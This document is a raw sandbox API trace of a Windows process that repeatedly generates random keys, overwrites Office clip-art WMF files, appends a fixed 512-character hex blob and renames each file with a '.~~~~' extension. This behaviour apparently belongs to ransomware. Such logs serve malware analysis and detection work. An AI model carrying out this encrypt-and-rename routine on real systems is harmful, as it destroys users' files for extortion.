	[0123.693] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.693] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.693] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.693] CloseHandle (hObject=0x128) returned 1
	[0123.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcd88
	[0123.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf.~~~~")) returned 1
	[0123.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bcd88 | out: hHeap=0x300000) returned 1
	[0123.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.694] GetLastError () returned 0x0
	[0123.695] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.696] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.696] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.696] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24368658250) returned 1
	[0123.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3327af0, dwHighDateTime=0x1d60e1e)) 
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8028
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8028 | out: hHeap=0x300000) returned 1
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bce20
	[0123.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.697] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.697] GetLastError () returned 0x0
	[0123.698] GetLastError () returned 0x0
	[0123.698] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.698] GetLastError () returned 0x0
	[0123.698] GetLastError () returned 0x0
	[0123.841] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff7780, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.841] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x8880, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x8880, lpOverlapped=0x0) returned 1
	[0123.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.843] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.843] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.843] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.843] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.843] CloseHandle (hObject=0x128) returned 1
	[0123.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd7a0
	[0123.843] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf.~~~~")) returned 1
	[0123.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd7a0 | out: hHeap=0x300000) returned 1
	[0123.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.845] GetLastError () returned 0x0
	[0123.964] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.974] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.974] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.974] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24396448229) returned 1
	[0123.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb35d53b0, dwHighDateTime=0x1d60e1e)) 
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b81e8
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b81e8 | out: hHeap=0x300000) returned 1
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdff0
	[0123.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.975] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.975] GetLastError () returned 0x0
	[0123.976] GetLastError () returned 0x0
	[0123.976] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.976] GetLastError () returned 0x0
	[0123.976] GetLastError () returned 0x0
	[0123.979] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd8a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.980] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x275c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x275c, lpOverlapped=0x0) returned 1
	[0123.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.981] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.982] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.982] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.982] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.982] CloseHandle (hObject=0x144) returned 1
	[0123.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdff0
	[0123.982] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.~~~~")) returned 1
	[0123.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdff0 | out: hHeap=0x300000) returned 1
	[0123.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.983] GetLastError () returned 0x0
	[0123.984] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.985] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.985] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.986] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24397572021) returned 1
	[0123.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb35fb510, dwHighDateTime=0x1d60e1e)) 
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b81b0
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b81b0 | out: hHeap=0x300000) returned 1
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd8d0
	[0123.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.986] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.987] GetLastError () returned 0x0
	[0123.987] GetLastError () returned 0x0
	[0123.987] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.987] GetLastError () returned 0x0
	[0123.987] GetLastError () returned 0x0
	[0123.990] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe80e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.990] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x17f2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x17f2, lpOverlapped=0x0) returned 1
	[0123.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.992] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.992] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.992] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.992] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.992] CloseHandle (hObject=0x144) returned 1
	[0123.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd8d0
	[0123.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.~~~~")) returned 1
	[0123.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd8d0 | out: hHeap=0x300000) returned 1
	[0123.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.994] GetLastError () returned 0x0
	[0123.994] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.996] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.996] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.996] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24398613336) returned 1
	[0123.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb35fb510, dwHighDateTime=0x1d60e1e)) 
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28200c0
	[0123.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28200c0 | out: hHeap=0x300000) returned 1
	[0123.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be120
	[0123.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.997] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.997] GetLastError () returned 0x0
	[0123.997] GetLastError () returned 0x0
	[0123.998] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.998] GetLastError () returned 0x0
	[0123.998] GetLastError () returned 0x0
	[0124.001] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff4cb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.001] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb34e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xb34e, lpOverlapped=0x0) returned 1
	[0124.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.003] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.003] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.003] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.003] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.003] CloseHandle (hObject=0x144) returned 1
	[0124.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be120
	[0124.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.~~~~")) returned 1
	[0124.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be120 | out: hHeap=0x300000) returned 1
	[0124.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.005] GetLastError () returned 0x0
	[0124.020] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.021] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.021] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.022] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24401169240) returned 1
	[0124.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb36477d0, dwHighDateTime=0x1d60e1e)) 
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8028
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8028 | out: hHeap=0x300000) returned 1
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f03b8
	[0124.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd8d0
	[0124.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f03b8 | out: hHeap=0x300000) returned 1
	[0124.023] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.023] GetLastError () returned 0x0
	[0124.023] GetLastError () returned 0x0
	[0124.023] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.023] GetLastError () returned 0x0
	[0124.023] GetLastError () returned 0x0
	[0124.029] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffee42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.029] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x11be, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x11be, lpOverlapped=0x0) returned 1
